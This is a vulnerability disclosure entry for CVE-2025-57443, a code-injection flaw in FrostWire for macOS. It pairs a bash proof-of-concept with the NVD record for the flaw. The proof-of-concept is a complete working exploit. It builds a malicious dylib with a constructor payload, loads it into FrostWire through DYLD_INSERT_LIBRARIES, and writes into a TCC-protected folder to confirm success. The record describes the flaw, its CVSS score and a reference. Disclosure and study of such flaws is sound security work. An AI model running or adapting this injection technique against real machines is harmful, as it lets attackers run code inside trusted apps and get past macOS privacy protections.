CVE-2025-57443

#!/bin/bash # CVE-2025-57443 PoC - FrostWire macOS Local Privilege Escalation # Exploits permissive entitlements: allow-dyld-environment-variables + disable-library-validation # Step 1: Create a malicious shared library (evil.dylib) cat > /tmp/evil.c << 'EOF' #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void payload(void) { // Drop a marker file in TCC-protected directory to prove code execution system("touch ~/Documents/pwned_by_CVE-2025-57443.txt"); system("id > /tmp/frostwire_pwned.txt"); fprintf(stderr, "[+] Injected into FrostWire process successfully\n"); } EOF # Step 2: Compile the malicious dylib gcc -dynamiclib -o /tmp/evil.dylib /tmp/evil.c -fno-stack-protector # Step 3: Set DYLD_INSERT_LIBRARIES and launch FrostWire export DYLD_INSERT_LIBRARIES=/tmp/evil.dylib open -a /Applications/FrostWire.app # Step 4: Verify exploitation sleep 3 if [ -f ~/Documents/pwned_by_CVE-2025-57443.txt ]; then echo "[+] Exploitation successful! File created in TCC-protected directory." cat ~/Documents/pwned_by_CVE-2025-57443.txt else echo "[-] Exploitation may have failed." fi

{"cve": {"id": "CVE-2025-57443", "sourceIdentifier": "[email protected]", "published": "2025-10-02T15:15:53.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FrostWire 6.14.0-build-326 for macOS contains permissive entitlements (allow-dyld-environment-variables, disable-library-validation) that allow unprivileged local attackers to inject code into the FrostWire process via the DYLD_INSERT_LIBRARIES environment variable. This allows escalated privileges to arbitrary TCC-approved directories."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/SwayZGl1tZyyy/vulnerability-research/tree/main/CVE-2025-57443", "source": "[email protected]"}]}}